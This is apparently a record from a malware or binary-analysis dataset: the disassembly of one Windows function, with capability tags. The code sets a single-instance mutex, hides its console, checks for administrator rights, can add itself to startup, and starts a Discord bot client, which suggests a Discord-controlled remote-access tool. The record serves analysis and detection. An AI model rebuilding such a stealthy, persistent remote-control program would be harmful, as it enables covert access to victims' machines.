Function at 0x14002b09f
Capabilities:
Check mutex on windows
Get token membership
Hide graphical window

Disassembly:
jmp 0x1400704d0
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
mov eax, 0x3b00
call fcn.14002a43d
sub rsp, rax
lea rbp, [rsp + 0x60]
lea rdi, [rsp + 0x60]
mov ecx, 0xd28
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x3b28]
mov rax, qword [0x1400a1080]
xor rax, rbp
mov qword [rbp + 0x3a98], rax
lea rcx, [0x1400b11be]
call fcn.14002b720
lea r8, str.LocalBCFE3153_59B6_46B0_BA99_C17A9AD2E8D1
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x1400705a0
lea rdx, str.fail:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002a2a8
mov qword [rbp + 0x3a88], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x3a90], eax
mov edx, dword [rbp + 0x3a90]
mov rcx, qword [rbp + 0x3a88]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x14008e924]
mov rcx, rax
call fcn.14002a2a8
mov eax, 1
jmp 0x140070969
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x1400705be
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140070969
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov qword [rbp + 0x28], rax
xor edx, edx
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.USER32.dll_ShowWindow]
lea rax, [rbp + 0x3a60]
lea rcx, [0x14008de18]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x14
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x48], 1
mov dword [rsp + 0x40], reloc.OLEAUT32.dll_VariantTimeToDosDateTime
lea rax, [rbp + 0x3a60]
mov qword [rsp + 0x38], rax
mov byte [rsp + 0x30], 1
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 0x31fefd
lea rdx, [0x1400a2c98]
lea rcx, [rbp + 0x50]
call qword [sym.imp.dpp.dll_public:_void___cdecl_dpp::cluster::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__unsigned_int__unsigned_int__unsigned_int__unsigned_int__bool__struct_dpp::cache_policy_t__unsigned_int__unsigned_int____ptr64]
lea rcx, [rbp + 0x3790]
call qword [sym.imp.dpp.dll_class_std::function_void____cdecl___struct_dpp::log_t_const____ptr64_____cdecl_dpp::utility::cout_logger_void_]
mov rdx, rax
lea rcx, [rbp + 0x4a0]
call fcn.14002a2da
lea rcx, [rbp + 0x3790]
call fcn.14002b6b7
mov dword [rbp + 0x3124], 0
mov qword [rbp + 0x3148], 0
mov byte [rbp + 0x3164], 0
mov byte [rbp + 0x3165], 0
mov byte [rbp + 0x3166], 0
mov byte [rbp + 0x3167], 0
mov byte [rbp + 0x3168], 0
mov byte [rbp + 0x3169], 5
lea rax, [rbp + 0x3148]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0x220
mov r8d, 0x20
mov dl, 2
lea rcx, [rbp + 0x3164]
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x14007071f
lea r8, [rbp + 0x3124]
mov rdx, qword [rbp + 0x3148]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov rcx, qword [rbp + 0x3148]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
xor eax, eax
cmp eax, 1
je 0x140070736
cmp dword [rbp + 0x3124], 0
je 0x140070736
call fcn.14002b67b
jmp 0x14007076f
xor eax, eax
cmp eax, 1
je 0x14007075c
cmp dword [rbp + 0x3124], 0
jne 0x14007075c
cmp dword [rbp + 0x3124], 0
jne 0x14007075a
lea rcx, [rbp + 8]
call fcn.14002a67c
jmp 0x140070746
jmp 0x14007076f
lea rdx, str.skipping_adding_to_startup__n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002a2a8
lea rdx, [0x1400a2b50]
lea rcx, [rbp + 0x50]
call fcn.14002b8a6
lea rdx, [rbp + 0x37e4]
lea rcx, [rbp + 0x650]
call fcn.14003d1a0
lea rdx, [rbp + 0x3804]
lea rcx, [rbp + 0x650]
call fcn.14003d200
lea rdx, [rbp + 0x3824]
lea rcx, [rbp + 0x650]
call fcn.14003d260
lea rdx, [rbp + 0x3844]
lea rcx, [rbp + 0x650]
call fcn.14003d2c0
lea rdx, [rbp + 0x3864]
lea rcx, [rbp + 0x650]
call fcn.14003d320
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x3888]
call fcn.140050c70
mov rdx, rax
lea rcx, [rbp + 0x650]
call fcn.14003d380
lea r8, [rbp + 0x3124]
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x38a8]
call fcn.140050cd0
mov rdx, rax
lea rcx, [rbp + 0x650]
call fcn.14003d3e0
lea rdx, [rbp + 0x38d4]
lea rcx, [rbp + 0x650]
call fcn.14003d440
lea rdx, [rbp + 0x3124]
lea rcx, [rbp + 0x38f4]
call fcn.140050d50
mov rdx, rax
lea rcx, [rbp + 0x650]
call fcn.14003d4a0
lea rdx, [rbp + 0x3124]
lea rcx, [rbp + 0x3914]
call fcn.1400509d0
mov rdx, rax
lea rcx, [rbp + 0x650]
call fcn.14003cea0
lea rdx, [rbp + 0x3124]
lea rcx, [rbp + 0x3934]
call fcn.140050a30
mov rdx, rax
lea rcx, [rbp + 0x650]
call fcn.14003cf00
lea rdx, [rbp + 0x3124]
lea rcx, [rbp + 0x3954]
call fcn.140050a90
mov rdx, rax
lea rcx, [rbp + 0x650]
call fcn.14003cf60
lea rdx, [rbp + 0x3974]
lea rcx, [rbp + 0x650]
call fcn.14003cfc0
lea r8, [rbp + 8]
lea rdx, [rbp + 0x3124]
lea rcx, [rbp + 0x3998]
call fcn.140050af0
mov rdx, rax
lea rcx, [rbp + 0x650]
call fcn.14003d020
lea rdx, [rbp + 0x39c4]
lea rcx, [rbp + 0x650]
call fcn.14003d080
lea rdx, [rbp + 0x39e4]
lea rcx, [rbp + 0x650]
call fcn.14003d0e0
lea r8, [rbp + 0x3124]
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x3a08]
call fcn.140050b70
mov rdx, rax
lea rcx, [rbp + 0xbf0]
call fcn.14003d140
xor edx, edx
lea rcx, [rbp + 0x50]
call qword [sym.imp.dpp.dll_public:_void___cdecl_dpp::cluster::start_bool____ptr64]
mov dword [rbp + 0x3a34], 0
lea rcx, [rbp + 0x50]
call qword [sym.imp.dpp.dll_public_virtual:_void___cdecl_dpp::cluster::destructor_void____ptr64]
mov eax, dword [rbp + 0x3a34]
mov rdi, rax
lea rcx, [rbp - 0x60]
lea rdx, [0x140086ed0]
call fcn.14002b2e8
mov rax, rdi
mov rcx, qword [rbp + 0x3a98]
xor rcx, rbp
call fcn.14002ab77
lea rsp, [rbp + 0x3aa0]
pop rdi
pop rsi
pop rbp
ret